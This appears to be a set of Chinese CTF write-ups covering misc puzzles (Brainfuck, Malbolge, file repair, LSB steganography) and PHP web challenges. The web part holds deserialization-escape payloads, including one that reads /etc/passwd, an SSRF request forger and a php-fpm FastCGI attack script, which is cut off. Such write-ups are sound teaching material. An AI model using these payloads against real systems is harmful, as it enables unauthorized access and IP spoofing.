s = '8+[->8+<]>16+.5-.<8+[->8-<]>8-.+.<4+[->4+<]>.<4+[->4-<]>4-3.8+.8-.<9+[->9+<]>3+.6-.<10+[->10+<]>7+.<10+[->10-<]>3-.<12+[->12+<]>20+.<9+[->9-<]>2-.<7+[->7+<]>8+.5+.<11+[->11-<]>16-.<9+[->9-<]>7-3.<7+[->7+<]>9+.<7+[->7-<]>5-.4-2.<3+[->3+<]>+.<3+[->3-<]>-3.<10+[->10+<]>.2+.7-.<4+[->4+<]>.6+.-.<8+[->8-<]>6-.<8+[->8+<]>6+.4+.4-.<10+[->10+<]>5+.<11+[->11-<]>17-.<5+[->5-<]>9-.<5+[->5-<]>10-.<3+[->3-<]>5-.<5+[->5+<]>8+.<5+[->5-<]>.<15+[->15+<]>18+.<7+[->7-<]>.<11+[->11-<]>20-.<12+[->12+<]>19+.<8+[->8-<]>2-.<8+[->8+<]>7+.<5+[->5-<]>10-.<6+[->6+<]>6+.<4+[->4+<]>3+.<15+[->15-<]>11-.8+.<10+[->10+<]>12+.<11+[->11-<]>2-.3+.<8+[->8+<]>10+.<10+[->10+<]>19+.<13+[->13-<]>19-.<12+[->12+<]>13+.<11+[->11-<]>10-.<3+[->3+<]>5+.<10+[->10+<]>17+.<10+[->10-<]>-.<8+[->8-<]>10-.<7+[->7+<]>14+.<5+[->5-<]>8-.<13+[->13+<]>21+.<14+[->14-<]>6-.<15+[->15+<]>5+.<10+[->10-<]>11-.3-.<10+[->10-<]>2-.<9+[->9+<]>17+.<10+[->10-<]>20-.<6+[->6+<]>8+.<12+[->12+<]>+.<12+[->12-<]>21-.<6+[->6+<]>3+.<8+[->8+<]>13+.<4+[->4+<]>3+.<8+[->8-<]>7-.<11+[->11+<]>10+.<12+[->12-<]>10-.<11+[->11+<]>8+.<8+[->8-<]>10-.<3+[->3-<]>4-.<10+[->10-<]>19-.<12+[->12+<]>13+.<12+[->12-<]>13-.<4+[->4+<]>5+.<4+[->4+<]>6+.<8+[->8+<]>5+.<7+[->7-<]>9-.<7+[->7-<]>.<11+[->11+<]>18+.<4+[->4-<]>7-.<8+[->8+<]>15+.<10+[->10-<]>.<8+[->8-<]>10-.<9+[->9+<]>6+.<10+[->10-<]>16-.<12+[->12+<]>4+.<3+[->3+<]>3+.<11+[->11-<]>14-.<9+[->9+<]>7+.<3+[->3-<]>5-.<10+[->10+<]>19+.<5+[->5+<]>+.6+.<15+[->15-<]>11-.<9+[->9+<]>9+.<10+[->10+<]>13+.<13+[->13-<]>3-.<8+[->8+<]>.<4+[->4-<]>3-.<5+[->5+<]>9+.<8+[->8+<]>2+.<10+[->10-<]>10-.<6+[->6+<]>9+.<4+[->4-<]>2-.<8+[->8-<]>12-.<5+[->5-<]>6-.<8+[->8+<]>15+.5-.<8+[->8-<]>10-.+.<7+[->7+<]>12+.<7+[->7-<]>14-.<4+[->4+<]>4+.<4+[->4-<]>4-3.8+.8-.<9+[->9+<]>3+.6-.<10+[->10+<]>7+.<10+[->10-<]>3-.<12+[->12+<]>20+.<9+[->9-<]>2-.<7+[->7+<]>8+.5+.<11+[->11-<]>16-.<9+[->9-<]>7-3.<7+[->7+<]>9+.<7+[->7-<]>5-.4-2.<3+[->3+<]>+.<3+[->3-<]>-.<6+[->6+<]>.<6+[->6-<]>7.<5+[->5+<]>7+.<5+[->5-<]>7-7.<10+[->10+<]>.2+.7-.<4+[->4+<]>.6+.-.<8+[->8-<]>6-.<8+[->8+<]>6+.4+.4-.<10+[->10-<]>6-.<3+[->3-<]>-.<5+[->5+<]>7+.<5+[->5-<]>7-5.+.-.<4+[->4+<]>8+.<4+[->4-<]>8-.<11+[->11+<]>15+.<7+[->7+<]>7+.<4+[->4+<]>8+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<14+[->14+<]>27+.<11+[->11-<]>9-.<11+[->11+<]>+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<14+[->14+<]>27+.<11+[->11-<]>9-.<11+[->11+<]>+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<8+[->8+<]>15+.5-.<8+[->8-<]>6-.+.6-4.+.-.+.-.<9+[->9+<]>11+.<9+[->9-<]>11-3.<11+[->11+<]>7+.<11+[->11-<]>7-5.<'
tmp, result = '', ''

for i in s:
    if i in '0123456789':
        tmp += i
    elif i in '+-[]<>.,':
        if tmp == '':
            result += i
        else:
            result += int(tmp) * i
            tmp = ''
with open('C:/Users/Administrator/Desktop/包/bf.txt', 'w') as f:
    f.write(result)

随便找个解释器跑一跑,得到一个zip压缩包。解压得到又一个文本:

iiisisiiiiiiiiii, iiisisi, iiisiisdd, iiisiisdddddd, iiisisd, iiisiisddddd, iiisisii, iiisiisii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iiisiisiiii

写个脚本跑一跑:

s = 'iiisisiiiiiiiiii, iiisisi, iiisiisdd, iiisiisdddddd, iiisisd, iiisiisddddd, iiisisii, iiisiisii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iiisiisiiii'
s = s.split(', ')

def df(s):
    res = 0
    if len(s) == 0:
        return res
    else:
        for i in s:
            if i == 'i':
                res += 1
            elif i == 'd':
                res -= 1
            elif i == 's':
                res = res * res
        return res

out = b''
for i in s:
    out += df(i).to_bytes(1, 'big')
print(out.decode('gbk'))

结果就出来了:

newsctf{鸡包包鸡包包鸡包纸包纸包鸡包包鸡纸包鸡包纸包鸡}

8.2021.6.1萌新赛-🍞🧀🍞

出题人:mumuzi

Misc-Checkin! format:flag{}

首先,zip被加了密,下面留了一段密文,根据hint说明这是一种编码。

一般都是UTF-8,而缺1就是UTF-7

http://toolswebtop.com/text/process/decode/UTF-7

“祝好运”即为密码

解压得到一个MP4,但是打不开,查看16进制

根据mp4的文件头,为00 00 00开头,而这里全部被改成了63,并且其他字节也有异常,猜测与63进行了异或。

懒得写脚本了,这里用010的异或功能

然后打开视频,发现打开失败。

重新用010加载

首先,左侧红框对应的是右边的size24,现在这个box的长度为24,但是很明显,Brand块是4字节为一块,而后面应该还有两块,所以这里应该把左侧的18改成20,修改之后再重新用010打开

现在,结构就正常了。

发现文件尾有PK头,明显是zip,分离出来

UP主的名字

没下巴的Mr_Wang

用010查看,模板报错

发现是CRC报错,而且明显是宽度被修改过。

这里用网上的CRC爆破脚本即可

其实这里高度也被暗改过,但是并没有报错,原因是CRC也被改了。

最简单的方法就是直接把高度改的很高很高

当然更标准的方法是可以看filter(要写脚本)

这里得出的高宽是700*700

得到一个链接

https://wwa.lanzoui.com/icG0Tpdygfi

下载下来

大骂一声:c!

拉到最下面,有一段密文,根据积累和特征,判断是malbolge

https://zb3.me/malbolge-tools

We-c0m-b1ne

解压,用010查看

可以看到,后面还有数据

注意看末尾的特征

明显是OurSecert

后面的K(key)Arknights即明日方舟

根据这题目,和heart for who

能够得出“为斯卡蒂献上心脏”,根据百度

即秘钥为Skadi

但是直接用这个软件打开,发现没有data,为什么呢。

因为文件尾的特征识别块被K:Arknights…………给干扰了,并未被识别,所以删掉

用stegsolve查看原图,发现有LSB隐写痕迹,而分离出来的图片也有LSB隐写痕迹

根据“我们联合”,猜测要将两张图LSB部分叠加起来

这里使用stegsolve的功能,AND后保存

查看保存的图

flag{Give_heart_to_Skadi!!!}

Web

Web有一道题因为选手间会相互影响故下架,这里就不放下架web题目的wp了

1.2021.6.1萌新赛-easy_web

出题人:Jerome

payload:

webp=123456&a[]=1&b[]=2&c=9223372036854775806

得到压缩包密码

背景图用binwalk或foremost分解得到加密压缩包

得到flag

2.2021.6.1萌新赛-weblog

出题人:lastsward

考点:php反序列化逃逸

:<8:绕过正则匹配:

$r = preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);

剩下正常逃逸,exp:

<?php 
class A {
    public $file = 'flagflagflagflagflagflag<';
    public $weblogfile = ';s:10:"weblogfile";s:<8:"flflagag.php";}';
    }
echo serialize(new A);

非预期:

首先调用is_serialized检测序列化字符串是否合法,然后将A、B两个类替换为C、D两个无害的类,反序列化检测是否成功,然后进行一个正则替换,最后进行字符串的替换,将’flag’替换为空。这里的字符串替换会导致反序列化字符逃逸,吞掉双引号及后面的字符,简单构造一下就能修改weblogfile属性的值。构造之前还要绕过is_serialized函数,该函数需要满足声明的字符串长度与实际的字符串长度一致,但统计实际字符串长度仅统计第一个和第二个双引号之间的长度,而linux+php的环境中文件路径可以包含双引号,所以构造类似s:13:"/flagflagflag";}a/…/fflaglag"这样的序列化字符串即可满足判断,最终weblog的值为/";}a/…/flag,读取的文件实际是/flag。

$log='O:1:"A":2:{s:4:"file";s:0:"";s:10:"weblogfile";s:13:"/flagflagflag";}a/../fflaglag";}';
$log='O:1:"A":2:{s:4:"file";s:0:"";s:10:"weblogfile";s:21:"/flagflagflagflagflag";}aaa/../etc/passwd";}';
$log='O:1:"A":2:{s:4:"file";s:0:"";s:10:"weblogfile";s:16:"flagflagflagflag";}a/../fflaglag.php";}';

weblogin

考点:代码审计

​ 反序列化字符逃逸

难度:中等

<?php
session_start();
error_reporting(0);
highlight_file(__FILE__);
class Action {

    public $data;
    public $username;
    public $password;
    public $datafile;
    public $act;
    
    function __construct($username,$password,$datafile,$act){
        $this->username = $username;
        $this->password = $password;
        $this->datafile = $datafile;
        $this->act = $act;
    }
    function check_login(){
        $file = $this->datafile.'.data';
        $data = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)))->data;
        if (isset($data[$this->username])){
            if ($data[$this->username] === $this->password){
                $_SESSION['is_login'] = ture;
                $_SESSION['username'] = $this->username;
                echo '<script>alert("登录成功");window.location.href="/";</script>';
            }
            else{
                echo '<script>alert("密码错误");window.location.href="/index.php/login";</script>';
                die();
            }
        }
        else{
            echo '<script>alert("用户名错误");window.location.href="/index.php/login";</script>';
            die();
        }
    }
    function registerd(){
        $file = $this->datafile.'.data';
        if(!file_exists($file)){
            $p = new Action('','','','');
            $p->data = array();
            file_put_contents($file,enc(serialize($p)));
        }
        
        $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
        $data = $p->data;
        if(isset($data[$this->username])){
            echo '<script>alert("该用户已注册");window.location.href="/index.php/register";</script>';
        } 
        else{
            $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
            $p->data[$this->username] = $this->password;
            file_put_contents($file, enc(serialize($p)));
            echo '<script>alert("注册成功");window.location.href="/index.php/login";</script>';
        }
    }

    function __destruct(){
        if ($_SESSION['is_login']){
            echo '<script>alert("该用户已登录");window.location.href="/";</script>';
        }
        else{
            if ($this->act === 'login'){
                $this->check_login();
            }
            if ($this->act === 'register'){
                $this->registerd();
            }
        }
    }
}



class Delete{
    public $username;
    public $password;
    public $datafile;
    
    function __construct($datafile,$username,$password){
        $this->username = $username;
        $this->password = $password;
        $this->datafile = $datafile; 
    }
    
    function deleted(){
        $file = $this->datafile.'.data';
        if($this->username!==''&&$this->password!==''){
            $data = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)))->data;
            if(!isset($data[$this->username])){
            echo '<script>alert("该用户不存在");window.location.href="/index.php/delete";</script>';
            }
            else{
                $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
                $data = $p->data;
                if ($data[$this->username] === $this->password){
                    unset($p->data[$this->username]);
                    file_put_contents($file,enc(serialize($p)));
                    echo '<script>alert("该用户注销成功");window.location.href="/index.php/delete";</script>';
                }
                else{
                    echo '<script>alert("密码错误");window.location.href="/index.php/delete";</script>';
                }
            } 
        }
        else {
            $p = new Action('','','','');
            $p->data = array();
            file_put_contents($file,enc(serialize($p)));
            echo '<script>alert("重置成功");window.location.href="/index.php/login";</script>';    
        }
    }

    function __destruct(){
        
        $this->deleted();
    }
}
class Logout{
    function __destruct(){
        unset($_SESSION['is_login']);
        echo '<script>alert("登出成功");window.location.href="/index.php/login";</script>';    
    }
}
function route($uri, Closure $_route)
{
    $pathInfo = $_SERVER['REQUEST_URI'] ?? '/';
    $pathInfo = preg_replace('/\?.*?$/is', '', $pathInfo);
    if (preg_match('#^' . $uri . '$#', $pathInfo, $matches)) {
        $_route($matches);
        exit(0);
    }
}
function enc($str){
    $_str = '';
    for($i=0;$i<strlen($str);$i++){
        if ($str[$i] !== '='){
            $_str = $_str.'='.dechex(ord($str[$i]));
        }else{
            $_str = $_str.$str[$i].$str[$i+1].$str[$i+2];
            $i = $i+2;
        }
    }
    return $_str;
}
function filter($str){
    return preg_replace('/o:/', 'O:', $str);

}

route('/index.php/login', function () {
    $username = $_POST['username']??'';
    $password = $_POST['password']??'';
    if($username&&$password){
        new Action($username,$password,'user_'.md5($_SERVER['REMOTE_ADDR']),'login');
    }
});

route('/index.php/register', function () {
    $username = $_POST['username']??'';
    $password = $_POST['password']??'';
    if($username&&$password){
        new Action($username,$password,'user_'.md5($_SERVER['REMOTE_ADDR']),'register');
    }
});

route('/index.php/logout', function () {
    new Logout();
});

route('/index.php/delete', function () {
    if(isset($_POST['username'])&&isset($_POST['password'])){
        new Delete('user_'.md5($_SERVER['REMOTE_ADDR']),$_POST['username'],$_POST['password']);
    }
});

route('/', function () {
    if (!$_SESSION['is_login']){
    echo '<script>alert("请先登录");window.location.href="/index.php/login";</script>';
    }
    echo '<h1>hello '.$_SESSION['username'].'</h1>';
});
route('/index.php/flag', function () {
    echo $_SERVER['REMOTE_ADDR'].'</br>';
    $flaag = 'flag'.md5($_SERVER['REMOTE_ADDR']);
    echo($flaag.'</br>');
    include('flag.php');
    $list = scandir('./');
        foreach ($list as $file) {
            if ($file ===  $flaag.'.data'){
                echo $flag;
            }
        }
}); 

大致审计可知道分别有注册,登录,登出,注销等几个功能 要像得到flag必须得满足

            if ($file ===  $flaag.'.data'){
                echo $flag;
            }

没有可以直接反序列化的点,只有:序列化 -> 编码 -> 存储 -> 解码 ->反序列

所以考点只能是字符逃逸了。所以我们重点关注字符长度发生变化的步骤:

function enc($str){
    $_str = '';
    for($i=0;$i<strlen($str);$i++){
        if ($str[$i] !== '='){
            $_str = $_str.'='.dechex(ord($str[$i]));
        }else{
            $_str = $_str.$str[$i].$str[$i+1].$str[$i+2];
            $i = $i+2;
        }
    }
    return $_str;
}

这个加密函数很明显会跳过已经编码过的,比如说:

function enc($str){
    $_str = '';
    for($i=0;$i<strlen($str);$i++){
        if ($str[$i] !== '='){
            $_str = $_str.'='.dechex(ord($str[$i]));
        }else{
            $_str = $_str.$str[$i].$str[$i+1].$str[$i+2];
            $i = $i+2;
        }
    }
    return $_str;
}
echo enc('a').'   ';
echo enc('=61');
//=61   =61

结果是一样的,然后解码的时候会全部解码成aa

ps: 关于php://filter/read=convert.quoted-printable-decode/resource=xxx 这个伪协议

详情可以学习这篇文章:探索php://filter在实战当中的奇技淫巧

在这里插入图片描述

他会先把字符转换成16进制 然后前面加一个= 以做标识。

回归正题

在这里插入图片描述

输入是=61 输出是a 相当于只进行了解码 没进行编码 这样字符就由3个变为了1个。字符减少,可造成字符逃逸漏洞

入口找到了,接下来分析目标。我们要写入一个我们ip md5相关的文件 。我们可以利用这个地方

    function registerd(){
		$file = $this->datafile.'.data';
		if(!file_exists($file)){
			$p = new Action('','','','');
			$p->data = array();
			file_put_contents($file,enc(serialize($p)));
		}

文件不存在则会创建$this->datafile.'.data';的文件 我们只需让$this->datafile 的值为我们ip的md5即可创建指定文件

class Action {
	public $data = array();
    public $username = 'lastsward';
    public $password = 'lastsward';
    public $datafile = 'flagf528764d624db129b32c21fbca0cb8d6';
    public $act = 'register';
}
echo serialize(new Action);
//O:6:"Action":5:{s:4:"data";a:0:{}s:8:"username";s:9:"lastsward";s:8:"password";s:9:"lastsward";s:8:"datafile";s:36:"flagf528764d624db129b32c21fbca0cb8d6";s:3:"act";s:8:"register";}

我们来看一下正常注册存储的数据

$p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
$p->data[$this->username] = $this->password;
file_put_contents($file, enc(serialize($p)));
echo '<script>alert("注册成功");window.location.href="/index.php/login";</script>';
class Action {
	public $data = array('lastsward','lastsward');
    public $username = '';
    public $password = '';
    public $datafile = '';
    public $act = '';
}
echo serialize(new Action);
//O:6:"Action":5:{s:4:"data";a:2:{i:0;s:9:"lastsward";i:1;s:9:"lastsward";}s:8:"username";s:0:"";s:8:"password";s:0:"";s:8:"datafile";s:0:"";s:3:"act";s:0:"";}

我们可以控制的是{i:0;s:9:"lastsward";i:1;s:9:"lastsward";}这个字符减少,我们构造的反序列化字符串在password

需要减少的字符是username。我们需要无效化的是";i:1;s:9:总共需要减少10个字符,我们构造以下payload:

class Action {
	public $data = array('=50=50=50=50=50'=>'a";s:1:"a";}s:8:"username";s:9:"lastsward";s:8:"password";s:9:"lastsward";s:8:"datafile";s:36:"flagf528764d624db129b32c21fbca0cb8d6";s:3:"act";s:8:"register";}');
    public $username = 's';
    public $password = 's';
    public $datafile = 'flagf528764d624db129b32c21fbca0cb8d6';
    public $act = 'register';
}
echo serialize(new Action);

结果是

O:6:"Action":5:{s:4:"data";a:1:{s:15:"=50=50=50=50=50";s:159:"a";s:1:"a";}s:8:"username";s:9:"lastsward";s:8:"password";s:9:"lastsward";s:8:"datafile";s:36:"flagf528764d624db129b32c21fbca0cb8d6";s:3:"act";s:8:"register";}";}s:8:"username";s:1:"s";s:8:"password";s:1:"s";s:8:"datafile";s:36:"flagf528764d624db129b32c21fbca0cb8d6";s:3:"act";s:8:"register";}

字符减少后:

O:6:"Action":5:{s:4:"data";a:1:{s:15:"PPPPP";s:159:"a";s:1:"a";}s:8:"username";s:9:"lastsward";s:8:"password";s:9:"lastsward";s:8:"datafile";s:36:"flagf528764d624db129b32c21fbca0cb8d6";s:3:"act";s:8:"register";}";}s:8:"username";s:1:"s";s:8:"password";s:1:"s";s:8:"datafile";s:36:"flagf528764d624db129b32c21fbca0cb8d6";s:3:"act";s:8:"register";}

s:15:“PPPPP”;s:159:"a " PPPPP";s:159:"a被无效化,后面成功反序列化

payload:username==50=50=50=50=50&password=a";s:1:"a";}s:8:"username";s:9:"lastsward";s:8:"password";s:9:"lastsward";s:8:"datafile";s:36:"flagf528764d624db129b32c21fbca0cb8d6";s:3:"act";s:8:"register";}

在注册路由提交两次再访问flag路由即可得到flag

4.2021.6.1萌新赛-impossible ip

出题人:lastsward

考点:

​ 1.php socket伪造http请求sstf

​ 2.攻击php-fpm实现伪造ip

ps:关于php-fpm 参考链接:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

<?php
error_reporting(0);
highlight_file(__FILE__);
$data = base64_decode($_GET['data']);
$host = $_GET['host'];
$port = $_GET['port'];
if(preg_match('/usr|auto/i', $data)){
    die('error');
}
$fp = fsockopen($host,intval($port),$errno, $errstr, 30);
if (!$fp) {
  die();
}
else{
    fwrite($fp, $data);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}

socket 可以任意伪造http请求,exp:

<?php 
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);

payload:

?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127

.0.0.1&port=80

得到

<?php  
error_reporting(0);
$allow = array('127.0.0.1','localhost');
if(in_array($_SERVER['HTTP_HOST'],$allow)){
    highlight_file(__FILE__);
    $contents = $_POST['data'];
    $file = 'file/'.md5("lastsward".$_SERVER['REMOTE_ADDR']);
    @mkdir($file);
    if(!preg_match('/lastsward/i', $contents)){
        file_put_contents($file.'/hint.txt', $contents);
    }
    if(file_get_contents($file.'/hint.txt')==='lastsward'){
        phpinfo();
    }
    die();
}
if($_SERVER['REMOTE_ADDR']==='120.78.22.12'){
    system('cat /flag');
    die();
}
die('请从本地访问');

数组可以绕过waf:

<?php 
$out = "POST /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n";
$out .= "Content-type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
$out .= "Content-Length: 20\r\n\r\n";
$out .= "data%5B%5D=lastsward\r\n";
echo base64_encode($out);

?data=UE9TVCAvZmxhZy5waHAgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogQ2xvc2UNCkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04DQpDb250ZW50LUxlbmd0aDogMjANCg0KZGF0YSU1QiU1RD1sYXN0c3dhcmQNCg==&host=127.0.0.1&port=80

查看phpinfo可以发现php-fpm 然后ssrf打fpm(9000端口),伪造ip

exp:

import socket
import random
import argparse
import sys
from io import BytesIO


PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':

    client = FastCGIClient(vps, port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = '/var/www/html/flag.php'
    content = ''
